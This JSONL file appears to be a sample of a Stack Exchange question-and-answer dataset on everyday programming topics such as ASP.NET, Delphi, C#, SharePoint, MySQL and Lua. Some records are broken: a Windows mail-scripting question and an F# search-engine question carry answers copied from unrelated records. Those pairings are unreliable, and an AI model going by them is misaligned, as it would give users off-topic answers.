{"id": "hf_74ff1112be18", "question": "<p>Several years back, I innocently tried to write a little app to save my tactically placed desktop icons because I was sick of dragging them back to their locations when some event reset them.  I gave up after buring WAY too much time having failed to find a way to query, much less save and reset, my icons' desktop position.</p>\n\n<p>Anyone know where Windows persists this info and if there's an API to set them?</p>\n\n<p>Thanks,\nRichard</p>\n", "question_body": "", "answer": "I have no idea about the API, but I know Ultramon (\nhttp://www.realtimesoft.com/ultramon/\n) has a feature included for preserving icon placement (although I've never used it for preserving icon location, it is indispensable for multiple monitor usage). The latest beta release works flawlessly with Vista (except for sometimes having a minor glitch or two when initially logging into my machine via RDP), and of course, haven't had any issues with XP. I've used it for over four years now.\nAnd did I mention that it's the best utility for multiple monitor usage?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:18.019216"}
{"id": "hf_aa00d38b1b21", "question": "<p>How do I read the Response Headers that are being sent down in a page ? I want to be able to read the header values and modify some of them. This is for an ASP.NET 1.1 application but I would be curious to know if it can done in any version of ASP.NET. \nThe reason for doing this is someone may have added custom headers of their own before the point I am examining the response - so I cannot blindly clear all the headers and append my own - I need to read the all the headers so I can modify the appropriate ones only.</p>\n", "question_body": "", "answer": "AFAIK it cannot be done in ASP.NET 1.1. There is no way for you to get at the response headers - request headers are available but not response headers. \nI am not sure if you can do this in other stacks like Java, LAMP though and I am curious to find out...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:18.054311"}
{"id": "hf_80e934a326ca", "question": "<p>I'm using the Telerik RAD Controls RADEditor/WYSIWYG control as part of a Dynamic Data solution.</p>\n\n<p>I would like to be able to upload files using the Document Manager of this control.</p>\n\n<p>However, these files are larger than whatever the default setting is for maximum upload file size.</p>\n\n<p>Can anyone point me in the right direction to fix this?</p>\n\n<p><hr>\nThanks Yaakov Ellis, see your answer + the answer I linked through a comment for the solution.</p>\n", "question_body": "", "answer": "The Telerik website has instructions\nhere\n.\nShort version: in Web.config set the maxRequestLength\n```\n```\n<system.web>\n  <httpRuntime maxRequestLength=\"102400\" executionTimeout= \"3600\" />\n</system.web>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:18.099987"}
{"id": "hf_382358f85dc9", "question": "<p>I have an old Delphi codebase I have to maintain, lots of DLLs, some older than others. In some of these DLLs there is no version information in the Project Options dialog. The controls for adding a version are greyed out and I can't even add a version number by manually editing the .DOF file. How can I include a version number in these projects?</p>\n", "question_body": "", "answer": "Check if the default .RES file exists in the project source location. Delphi includes the version number of the project in a .res file with the same name as the .dpr file. If the .RES file does not exist, the simplest way to recreate it is to add the {$R *.RES} compiler directive to the .DPR file, immediately after the uses clause.\n```\n```\nlibrary foolib;    \n\nuses\n    foo in 'foo.pas',\n    baz in 'baz.pas';\n\n{$R *.RES}\n\nexports\n    foofunc name 'foofunc';\n\nend;\n```\n```\nAs soon as you add the {$R *.RES} compiler directive Delphi will tell you it has recreated the foolib.res resource file.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:18.145235"}
{"id": "hf_a836ea339b59", "question": "<p>I notice that modern C and C++ code seems to use <code>size_t</code> instead of <code>int</code>/<code>unsigned int</code> pretty much everywhere - from parameters for C string functions to the STL.  I am curious as to the reason for this and the benefits it brings.</p>\n", "question_body": "", "answer": "The\n```\nsize_t\n```\ntype is the unsigned integer type that is the result of the\n```\nsizeof\n```\noperator (and the\n```\noffsetof\n```\noperator), so it is guaranteed to be big enough to contain the size of the biggest object your system can handle (e.g., a static array of 8Gb).\nThe\n```\nsize_t\n```\ntype may be bigger than, equal to, or smaller than an\n```\nunsigned int\n```\n, and your compiler might make assumptions about it for optimization.\nYou may find more precise information in the C99 standard, section 7.17, a draft of which is available on the Internet in\npdf\nformat, or in the C11 standard, section 7.19, also available as a\npdf draft\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:18.185761"}
{"id": "hf_a9008208d24a", "question": "<p>What is the SQL command to copy a table from one database to another database?\nI am using MySQL and I have two databases x and y. Suppose I have a table in x called a and I need to copy that table to y database.\nSorry if the question is too novice.</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "If you just want to copy the contents, you might be looking for\n```\nselect into\n```\n:\nhttp://www.w3schools.com/Sql/sql_select_into.asp\n. This will not create an identical copy though, it will just copy every row from one table to another.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:18.209642"}
{"id": "hf_879d729b7df3", "question": "<p>Can someone explain why how the result for the following unpack is computed?</p>\n\n<pre><code>\"aaa\".unpack('h2H2')               #=&gt; [\"16\", \"61\"]\n</code></pre>\n\n<p>In binary, 'a' = 0110 0001.  I'm not sure how the 'h2' can become 16 (0001 0000) or 'H2' can become 61 (0011 1101).</p>\n", "question_body": "", "answer": "Check out the Programming Ruby\nreference\non unpack. Here's a snippet:\nDecodes str (which may contain binary\ndata) according to the format string,\nreturning an array of each value\nextracted. The format string consists\nof a sequence of single-character\ndirectives, summarized in Table 22.8\non page 379. Each directive may be\nfollowed by a number, indicating the\nnumber of times to repeat with this\ndirective. An asterisk (\"*\") will\nuse up all remaining elements. The\ndirectives sSiIlL may each be followed\nby an underscore (\"_\") to use the\nunderlying platform's native size for\nthe specified type; otherwise, it uses\na platform-independent consistent\nsize. Spaces are ignored in the format\nstring. See also  Array#pack   on page\n286.\nAnd the relevant characters from your example:\nH     Extract hex nibbles from each character (most significant first).\nh     Extract hex nibbles from each character (least significant first).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:18.254344"}
{"id": "hf_474ce1e5ff91", "question": "<p>I want to calculate the time span between 2 times which I saved in a database.\nSo literally I want to know the length of time between the 2 values.</p>\n\n<p>14:10:20 - 10:05:15 = 02:05:05</p>\n\n<p>So the result would be 02:05:05.</p>\n\n<p>How would I be able to achieve this using C#?</p>\n\n<p>14:10:20 is the format I saved it in in my database.</p>\n", "question_body": "", "answer": "Read the two time values into TimeSpan variables, then perform a\n```\n.Subtract()\n```\non the bigger TimeSpan variable to get the TimeSpan result.\nE.g.\n```\nTimeSpan difference = t1.Subtract(t2);\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:18.284460"}
{"id": "hf_bebfe1e04eb9", "question": "<p>I have an ellipse centered at (0,0) and the bounding rectangle is x = [-5,5], y = [-6,6]. The ellipse intersects the rectangle at (-5,3),(-2.5,6),(2.5,-6),and (5,-3)</p>\n\n<p>I know nothing else about the ellipse, but the only thing I need to know is what angle the major axis is rotated at.</p>\n\n<p>seems like the answer must be really simple but I'm just not seeing it... thanks for the help!</p>\n", "question_body": "", "answer": "The gradient of the ellipse is identical to the gradient of the intersects with the bounding rectangle along one side of the ellipse.  In your case, that's the line from (-2.5,6) to (5,-3), the top side of your ellipse.  That line has a vertical drop of 9 and a horizontal run of 7.5.\nSo we end up with the following right-angled triangle.\n```\n```\n(-2.5,6)\n  *-----\n  |\\x\n  | \\\n  |  \\\n9 |   \\\n  |    \\\n  |    x\\\n  +------* (5,-3)\n    7.5\n```\n```\nThe angle we're looking for is x which is the same in both locations.\nWe can calculate it as:\n```\n```\n-1\ntan   (9/7.5)\n```\n```\nwhich gives us an angle of -50.19 degrees", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:18.335162"}
{"id": "hf_80873890e277", "question": "<p>How do I read a time value and then insert it into a TimeSpan variables?</p>\n", "question_body": "", "answer": "```\n```\nTimeSpan span = new TimeSpan(days,hours,minutes,seconds,milliseonds);\n```\n```\nOr, if you mean DateTime:\n```\n```\nDateTime time = new DateTime(year,month,day,minutes,seconds,milliseconds);\n```\n```\nWhere all of the parameters are ints.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:18.451437"}
{"id": "hf_4fad2610e2df", "question": "<p>See the question. I want to see the methods and classes offered by a DLLs library.</p>\n", "question_body": "", "answer": "This is exactly what the Object Browser is for.\nAdd a reference to the DLL.\nRight click it in the list.\nClick\nView in Object Browser\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:18.498821"}
{"id": "hf_017995555330", "question": "<p>Right now I have a visual studio project which contains a custom content type that I made. It also contains all the necessary files for making a sharepoint solution (wsp) file and a script to generate this. </p>\n\n<p>Now, I would like to do 2 things. </p>\n\n<p>First, I'd like to create a custom display form for the content type and include it in my solution so that it is automatically deployed when I deploy my solution. How do I include this in my solution and make my content type use it?</p>\n\n<p>Secondly, you can query this type with the CQWP. I've thought about exporting it, adding more common view fields, and then modifying the XSL that is used to render it. How do I include this into my solution so that it is also deployed. I know i can export the CQWP webpart once it's all setup and include it in my project as a feature. But what abuot the XSL?</p>\n\n<p>Looking forward to see your suggestions, cheers.</p>\n\n<p>Did as described in the first answer. Worked like a charm.</p>\n", "question_body": "", "answer": "Use\nSTSDev\nto create the solution package. \nThat should help with creating the WSP. The custom form, CQWP webpart and the .xls file should also be deployable within the project.\nTo deploy the xslt, your feature will have an\n```\n<ElementManifest Location=\"mywebpartManifest.xml\">\n```\nThis then points to a files such as\n```\n```\n<Elements xmlns=\"http://schemas.microsoft.com/sharepoint/\">\n  <Module Name=\"Yourfile.xslt\" Url=\"Style Library\" Path=\"\" RootWebOnly=\"TRUE\">\n    <File Url=\"yourfile.xslt\" Type=\"GhostableInLibrary\" />\n  </Module>\n</Elements>\n```\n```\nfor the webpart:\n```\n```\n<Module Name=\"myWebpart\" List=\"113\" Url=\"_catalogs/wp\" RootWebOnly=\"FALSE\">\n   <File Url=\"myWebpart.webpart\" Type=\"GhostableInLibrary\" />\n</Module>\n```\n```\nNow that file will need to be contained in the solution manifest.xml. This is done automatically from the STSDev project.\ne.g.\n```\n```\n<Resources>\n    <Resource Location=\"SimpleFeature\\Feature.xml\"/>\n```\n```\nThe actual schemas are:\nSite\nSolution\nFeature\nand a link to someone else with the issue", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:18.547461"}
{"id": "hf_6a568540c6da", "question": "<p>I am trying to implement in windows scripting host the same function as windows Send To/Mail Recipient does. Did not find anything usefull on google except steps to instantiate <code>Outlook.Application</code> and directly calling its methods.</p>\n\n<p>I need to go the same path as windows do, as there is a mix of Outlook and Lotus Notes installed, I don't see it good to perform some sort of testing and deciding which object to talk to...</p>\n\n<p>What I have found is that the actual work is done by <code>sendmail.dll</code>, there is a handler defined in registry under <code>HKEY_CLASSES_ROOT\\CLSID\\{9E56BE60-C50F-11CF-9A2C-00A0C90A90CE}</code>. I would like either to use this dll somehow or to simulate the same steps it does.</p>\n\n<p>Thanks for your input.</p>\n", "question_body": "", "answer": "Use\nSTSDev\nto create the solution package. \nThat should help with creating the WSP. The custom form, CQWP webpart and the .xls file should also be deployable within the project.\nTo deploy the xslt, your feature will have an\n```\n<ElementManifest Location=\"mywebpartManifest.xml\">\n```\nThis then points to a files such as\n```\n```\n<Elements xmlns=\"http://schemas.microsoft.com/sharepoint/\">\n  <Module Name=\"Yourfile.xslt\" Url=\"Style Library\" Path=\"\" RootWebOnly=\"TRUE\">\n    <File Url=\"yourfile.xslt\" Type=\"GhostableInLibrary\" />\n  </Module>\n</Elements>\n```\n```\nfor the webpart:\n```\n```\n<Module Name=\"myWebpart\" List=\"113\" Url=\"_catalogs/wp\" RootWebOnly=\"FALSE\">\n   <File Url=\"myWebpart.webpart\" Type=\"GhostableInLibrary\" />\n</Module>\n```\n```\nNow that file will need to be contained in the solution manifest.xml. This is done automatically from the STSDev project.\ne.g.\n```\n```\n<Resources>\n    <Resource Location=\"SimpleFeature\\Feature.xml\"/>\n```\n```\nThe actual schemas are:\nSite\nSolution\nFeature\nand a link to someone else with the issue", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:18.572733"}
{"id": "hf_9f1212cf42c0", "question": "<p>I have a really big database (running on PostgreSQL) containing a lot of tables with sophisticated relations between them (foreign keys, on delete cascade and so on).\nI need remove some data from a number of tables, but I'm not sure what amount of data will be really deleted from database due to cascade removals.</p>\n\n<p>How can I check that I'll not delete data that should not be deleted?</p>\n\n<p>I have a test database - just a copy of real one where I can do what I want :)</p>\n\n<p>The only idea I have is dump database before and after and check it. But it not looks comfortable.\nAnother idea - dump part of database, that, as I think, should not be affected by my DELETE statements and check this part before and after data removal. But I see no simple ways to do it (there are hundreds of tables and removal should work with ~10 of them). Is there some way to do it?</p>\n\n<p>Any other ideas how to solve the problem?</p>\n", "question_body": "", "answer": "If the worry is keys left dangling (i.e.: pointing to a deleted record) then run the deletion on your test database, then use queries to find any keys that now point to invalid targets.  (while you're doing this you can also make sure the part that should be unaffected did not change)\nA better solution would be to spend time mapping out the delete cascades so you know what to expect - knowing how your database works is pretty valuable so the effort spent on this will be useful beyond this particular deletion.\nAnd no matter how sure you are back the DB up before doing big changes!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:18.634577"}
{"id": "hf_5910aadee493", "question": "<p>I think everyone would agree that the MATLAB language is not pretty, or particularly consistent. But nevermind! We still have to use it to get things done.</p>\n\n<p>What are your favourite tricks for making things easier? Let's have one per answer so people can vote them up if they agree. Also, try to illustrate your answer with an example.</p>\n", "question_body": "", "answer": "Here's a quick example:\nI find the comma separated list syntax quite useful for building function calls:\n```\n```\n% Build a list of args, like so:\nargs = {'a', 1, 'b', 2};\n% Then expand this into arguments:\noutput = func(args{:})\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:18.659150"}
{"id": "hf_5c8b988b80e8", "question": "<p>When you're using Tiles with Struts and do...</p>\n\n<pre><code>request.getRequestURL()\n</code></pre>\n\n<p>...you get the URL to e.g. <code>/WEB-INF/jsp/layout/newLayout.jsp</code> instead of the real URL that was entered/clicked by the user, something like <code>/context/action.do</code>.</p>\n\n<p>In newer Struts versions, 1.3.x and after, you can use the <a href=\"http://saloon.javaranch.com/cgi-bin/ubb/ultimatebb.cgi?ubb=get_topic&amp;f=58&amp;t=012300\" rel=\"nofollow noreferrer\">solution mentioned on javaranch</a> and get the real URL using the request attribute <a href=\"http://struts.apache.org/1.x/apidocs/org/apache/struts/Globals.html#ORIGINAL_URI_KEY\" rel=\"nofollow noreferrer\"><code>ORIGINAL_URI_KEY</code></a>.</p>\n\n<p>But how to do this in Struts 1.2.x?</p>\n", "question_body": "", "answer": "I don't know if Struts 1.2.x has a similar Globals constant, but you could create your own in at least two ways:\nget the original request URL in the Action and set it on the request, and call that from the JSP\nuse a Servlet Filter to do the same thing", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:18.707970"}
{"id": "hf_913ab788bf9c", "question": "<p>Does anyone know if IE6 ever misrenders pages with hidden <code>divs</code>? We currently have several <code>divs</code> which we display in the same space on the page, only showing one at a time and hiding all others.</p>\n\n<p>The problem is that the hidden <code>divs</code> components (specifically option menus) sometimes show through. If the page is scrolled, removing the components from view, and then scrolled back down, the should-be-hidden components then disappear.</p>\n\n<p>How do we fix this?</p>\n", "question_body": "", "answer": "One hack you could use is to move your div outside the screen:\n```\n```\nMyDiv.style.left = \"-1000px\";\n```\n```\nAnd then put it back on its original position when you want to show it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:18.785209"}
{"id": "hf_45e4d5c2bdc7", "question": "<p>I wish to test a function that will generate <code>lorem ipsum</code> text, but it does so within html tags. So I cant know in advance the textual content, but i know the html structure. That is what I want to test. And maybe that the length of the texts are within certain limits.\nSo what I am wondering is if the assertTags can do this in a way paraphrased bellow:</p>\n\n<pre><code>Result = \"&lt;p&gt;Some text&lt;/p&gt;\";\nExpected = array( \n   '&lt;p' ,\n   'regex',\n   '/p'\n);\nassertTags(resutl, expected)\n</code></pre>\n\n<p>I am using SimpleTest with CakePHP, but I think it should be a general question.</p>\n", "question_body": "", "answer": "Extend the SimpleExpectation class and then use your new Expectation class in the assert statement\nsee:\nhttp://www.lastcraft.com/expectation_documentation.php#extending\nthe example given is for validating an IP address but should be applicable to your problem:\n```\n```\nclass ValidIp extends SimpleExpectation {\n\n  function test($ip) {\n    return (ip2long($ip) != -1);\n  }\n\n  function testMessage($ip) {\n    return \"Address [$ip] should be a valid IP address\";\n  }\n}\n```\n```\nthen in your test\n```\n```\n$this->assert(new ValidIp(),$server->getIp());\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:18.833669"}
{"id": "hf_b376d961a83a", "question": "<p>When I'm writing a Spring command line application which parses command line arguments, how do I pass them to Spring? Would I want to have my main() structured so that it first parses the command line args and then inits Spring? Even so, how would it pass the object holding the parsed args to Spring?</p>\n", "question_body": "", "answer": "Here is an example to boot strap spring for a Main method, simply grab the passed params as normal then make the function you call on your bean (in the case deployer.execute()) take them as Strings or via any format you feel suitable.\n```\n```\npublic static void main(String[] args) throws IOException, ConfigurationException {\n    Deployer deployer = bootstrapSpring();\n\n    deployer.execute();\n}\n\nprivate static Deployer bootstrapSpring()\n{\n    FileSystemXmlApplicationContext appContext = new FileSystemXmlApplicationContext(\"spring/deployerContext.xml\");\n\n    Deployer deployer = (Deployer)appContext.getBean(\"deployer\");\n    return deployer;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:18.895132"}
{"id": "hf_b2b9abf7f2fa", "question": "<p>Consider this case:</p>\n\n<pre><code>dll = LoadDLL()\ndll-&gt;do()\n\n...\nvoid do() {\n    char *a = malloc(1024);\n}\n...\n\nUnloadDLL(dll);\n</code></pre>\n\n<p>At this point, will the 1k allocated in the call to malloc() be available to the host process again?\nThe DLL is statically linking to the CRT.</p>\n", "question_body": "", "answer": "No, you do not leak.\nIf you mix dll models (static, dynamic) then you can end up with a memory error if you allocate memory in a dll, that you free in a different one (or freed in the exe)\nThis means that the heap created by the statically-linked CRT is not the same heap as a different dll's CRT.\nIf you'd linked with the dynamic version of the CRT, then you'd have a leak as the heap is shared amongst all dynamically-linked CRTs. It means you should always design your apps to use the dynamic CRTs, or ensure you never manage memory across a dll boundary (ie if you allocate memory in a dll, always provide a routine to free it in the same dll)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:18.943732"}
{"id": "hf_a356c25b56fb", "question": "<p>I compile my project with VIsual Studio 2005 Express Edition, and get this linking error. Can anyone suggest how to solve that?</p>\n", "question_body": "", "answer": "That exact question is asked and answered at\nhttp://forums.microsoft.com/MSDN/ShowPost.aspx?PostID=1512436&SiteID=1\n.\nTry re-installing.  It appears to be an install of the wrong service pack.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:18.991763"}
{"id": "hf_940d3ebdba15", "question": "<p>Is there anyone using Subsonic with asp.net mvc framework? If so, can you tell us something about your experience. Are there tips and tricks that can be shared?</p>\n", "question_body": "", "answer": "If you're planning on doing database first design, and you don't need any mapping (i.e. you're in control of your db naming) then SubSonic is a decent option.\nIt's straight-forward, doesn't hide a lot from you.  On the same token, for advanced scenarios I have to side-step it a lot and execute raw sql (or a sproc).\nIf you're looking for a better object abstraction over the database, something that more closely matches your problem domain, then I'd look at NHibernate or Castle ActiveRecord.  This gives you a lot more flexibility in how you want your object model to look, and you have a powerful query API at your disposal.\nNone of this really has to do with ASP.NET MVC, other than you just use your objects in your web project.  I'd suggest putting the entities inside of a separate class library project anyway.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:19.028253"}
{"id": "hf_8c4c824059e0", "question": "<p>We want migrate from Delphi 7.0 to Delphi 2009, to stay up with a modern IDE and current technology. Our target platform is .NET. What is best way, to achieve this goal?</p>\n", "question_body": "", "answer": "Migrating from Delphi 7 to Delphi 2009 is probably straight forward, there were only minor changes (such as the recently discussed move from ANSI to Unicode strings).\nThe move to .NET is not so straight forward, though. Although there's a VCL.NET which makes migrating GUIs possible, severeal other things will not work. So you might think of having Win32 code AND .NET code, bringing them together through COM.\n(I hope you already know COM, otherwise this is probably not an option;-))", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:19.065652"}
{"id": "hf_135ea470ba8e", "question": "<p>I have an ANSI encoded text file that should not have been encoded as ANSI as there were accented\ncharacters that ANSI does not support. I would rather work with UTF-8.</p>\n\n<p>Can the data be decoded correctly or is it lost in transcoding?</p>\n\n<p>What tools could I use?</p>\n\n<p>Here is a sample of what I have:</p>\n\n<pre><code>Ã§ Ã©\n</code></pre>\n\n<p>I can tell from context (cafÃ© should be café) that these should be these two characters:</p>\n\n<pre><code>ç é\n</code></pre>\n", "question_body": "", "answer": "With vim from command line:\n```\n```\nvim -c \"set encoding=utf8\" -c \"set fileencoding=utf8\" -c \"wq\" filename\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:19.102313"}
{"id": "hf_14d07f9e4715", "question": "<p>My implementation of httpclient occasionally throws an exception when calling doGetConnection(). However, I have the following timeout set</p>\n\n<pre><code>_moHttpClient.setHttpConnectionFactoryTimeout(30000);\n</code></pre>\n\n<p>it looks almost like my timeout is not being picked up. Is there anywhere else I need to set a timeout to ensure this behaviour does not re-occur</p>\n", "question_body": "", "answer": "```\n```\nHttpConnectionManagerParams cmparams = new HttpConnectionManagerParams();\n    cmparams.setSoTimeout(10000);\n    cmparams.setTcpNoDelay(true);\n    HttpConnectionManager manager = new SimpleHttpConnectionManager();\n    manager.setParams(cmparams);\n    params = new HttpClientParams();\n    params.setSoTimeout(5000);\n    client = new HttpClient(params, manager);\n```\n```\nI wonder why I have two different SoTimeouts set. Maybe I was trying to find out which one was actually active, as I had the same problems as you when I used it.\nThe above is in live code at our place right now, but I cannot say whether it works because it's correct, or because providence is smiling down on me (and the other end is usually always available).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:19.150631"}
{"id": "hf_146a84c34434", "question": "<p>Are there any good examples (websites or books) around of how to build a full text search engine in F#? </p>\n", "question_body": "", "answer": "```\n```\nHttpConnectionManagerParams cmparams = new HttpConnectionManagerParams();\n    cmparams.setSoTimeout(10000);\n    cmparams.setTcpNoDelay(true);\n    HttpConnectionManager manager = new SimpleHttpConnectionManager();\n    manager.setParams(cmparams);\n    params = new HttpClientParams();\n    params.setSoTimeout(5000);\n    client = new HttpClient(params, manager);\n```\n```\nI wonder why I have two different SoTimeouts set. Maybe I was trying to find out which one was actually active, as I had the same problems as you when I used it.\nThe above is in live code at our place right now, but I cannot say whether it works because it's correct, or because providence is smiling down on me (and the other end is usually always available).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:19.174343"}
{"id": "hf_ee6b681ffbb5", "question": "<p>When I do an \"os.execute\" in Lua, a console quickly pops up, executes the command, then closes down. But is there some way of getting back the console output only using the standard Lua libraries?</p>\n", "question_body": "", "answer": "I don't know about Lua specifically but you can generally run a command as:\n```\n```\ncomd >comd.txt 2>&1\n```\n```\nto capture the output and error to the file comd.txt, then use the languages file I/O functions to read it in.\nThat's how I'd do it if the language itself didn't provide for capturing stanard output and error.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:19.285459"}
{"id": "hf_a8e0a874392b", "question": "<p>Consider the following code:</p>\n\n<pre><code>void Handler(object o, EventArgs e)\n{\n   // I swear o is a string\n   string s = (string)o; // 1\n   //-OR-\n   string s = o as string; // 2\n   // -OR-\n   string s = o.ToString(); // 3\n}\n</code></pre>\n\n<p>What is the difference between the three types of casting (okay, the 3rd one is not a casting, but you get the intent). Which one should be preferred?</p>\n", "question_body": "", "answer": "'as' is based on 'is', which is a keyword that checks at runtime if the object is polimorphycally compatible (basically if a cast can be made) and returns null if the check fails.\nThese two are equivalent:\nUsing 'as':\n```\n```\nstring s = o as string;\n```\n```\nUsing 'is':\n```\n```\nif(o is string) \n    s = o;\nelse\n    s = null;\n```\n```\nOn the contrary, the c-style cast is made also at runtime, but throws an exception if the cast cannot be made.\nJust to add an important fact:\nThe 'as' keyword only works with reference types. You cannot do:\n```\n```\n// I swear i is an int\nint number = i as int;\n```\n```\nIn those cases you have to use casting.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:19.382922"}
